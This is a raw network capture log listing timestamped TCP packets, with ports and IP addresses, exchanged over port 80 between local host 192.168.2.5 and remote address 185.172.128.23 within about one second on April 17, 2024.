Apr 17, 2024 09:17:10.929949045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.929981947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.929992914 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.930005074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.930079937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.930110931 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.930118084 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.930124998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.930156946 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.930160999 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.930191040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.930223942 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.930236101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.987730026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.987791061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.987799883 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.987829924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.987834930 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.987869978 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.987876892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.987909079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.987915039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.987946987 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.987951040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.987983942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.987984896 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.988020897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.988055944 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.988055944 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.988481045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.988519907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.988529921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.988558054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.988564968 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.988591909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.988601923 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.988641977 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.988990068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.989036083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.989069939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.989075899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.989079952 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.989109993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.989116907 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.989156961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.989207029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.989250898 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.989254951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.989273071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.989288092 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.989294052 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.989304066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.989305973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.989322901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.989324093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.989341021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.989345074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.989355087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.989357948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.989381075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.989403009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.045670986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.045730114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.045730114 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.045769930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.045773029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.045813084 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.045860052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.045898914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.045902014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.045937061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.045944929 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.045974970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.045979023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046011925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046034098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046077013 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046102047 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046139956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046144962 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046180010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046184063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046214104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046225071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046252012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046256065 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046288967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046293974 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046327114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046329975 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046370983 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046406031 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046443939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046451092 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046479940 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046480894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046521902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046529055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046555996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046567917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046597958 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046909094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046948910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046953917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.046988964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.046993971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.047028065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.047038078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.047096014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.047447920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.047486067 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.047498941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.047523022 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.047529936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.047557116 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.047566891 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.047595978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.047892094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.047930002 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.047944069 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.047983885 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.047992945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048043013 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048046112 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048089981 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048130035 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048176050 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048207998 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048244953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048254967 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048281908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048293114 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048321009 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048343897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048357964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048361063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048399925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048414946 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048449039 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048459053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048491001 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048518896 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048557043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048563957 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048595905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048599958 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048629999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048639059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048677921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048753977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048851967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048860073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048888922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048892975 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048922062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.048929930 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.048979998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.049169064 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.049226046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.049264908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.049304962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.049319029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.049330950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.049349070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.049417019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.103423119 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.103482008 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.103508949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.103549957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.103554964 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.103655100 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.103687048 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.103725910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.103729963 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.103763103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.103766918 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.103801012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.103806973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.103836060 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.103843927 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.103879929 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.103992939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.104032040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.104038000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.104072094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.104074955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.104127884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.104127884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.104176998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.104279995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.104317904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.104322910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.104356050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.104360104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.104391098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.104401112 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.104429007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.104582071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.104629040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.104635000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.104671955 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.104681015 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.104707003 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.104717970 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.104748011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.105139971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.105176926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.105186939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.105215073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.105218887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.105248928 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.105258942 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.105292082 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.105716944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.105757952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.105793953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.105794907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.105817080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.105829954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.105842113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.105866909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.105875015 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.105906010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.105910063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.105952024 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.105952978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.105994940 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.106023073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.106061935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.106065035 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.106097937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.106105089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.106136084 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.106141090 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.106170893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.106179953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.106211901 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.106323957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.106369019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.106422901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.106461048 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.106466055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.106494904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.106512070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.106544018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.106677055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.106714010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.106723070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.106750965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.106756926 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.106785059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.106794119 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.106838942 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.107145071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.107182980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.107203007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.107219934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.107225895 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.107254982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.107263088 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.107300043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.107464075 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.107501030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.107508898 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.107538939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.107542992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.107570887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.107579947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.107615948 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.107810020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.107860088 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.107872009 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.107909918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.107913971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.107942104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.107950926 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.107984066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.108222008 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.108261108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.108273029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.108298063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.108299971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.108330965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.108335972 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.108378887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.108758926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.108797073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.108814955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.108844042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.108851910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.108895063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.108912945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.108949900 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.108953953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.108993053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.108993053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.109034061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.109035015 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.109070063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.109078884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.109113932 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.109181881 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.109220028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.109231949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.109256029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.109263897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.109289885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.109299898 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.109333038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.109628916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.109682083 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.109694004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.109730005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.109736919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.109762907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.109774113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.109807014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.109951019 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.109991074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.110002041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.110029936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.110032082 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.110064983 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.110074043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.110106945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.110208988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.110248089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.110255003 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.110284090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.110294104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.110317945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.110327959 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.110359907 CEST	49704	80	192.168.2.5	185.172.128.23
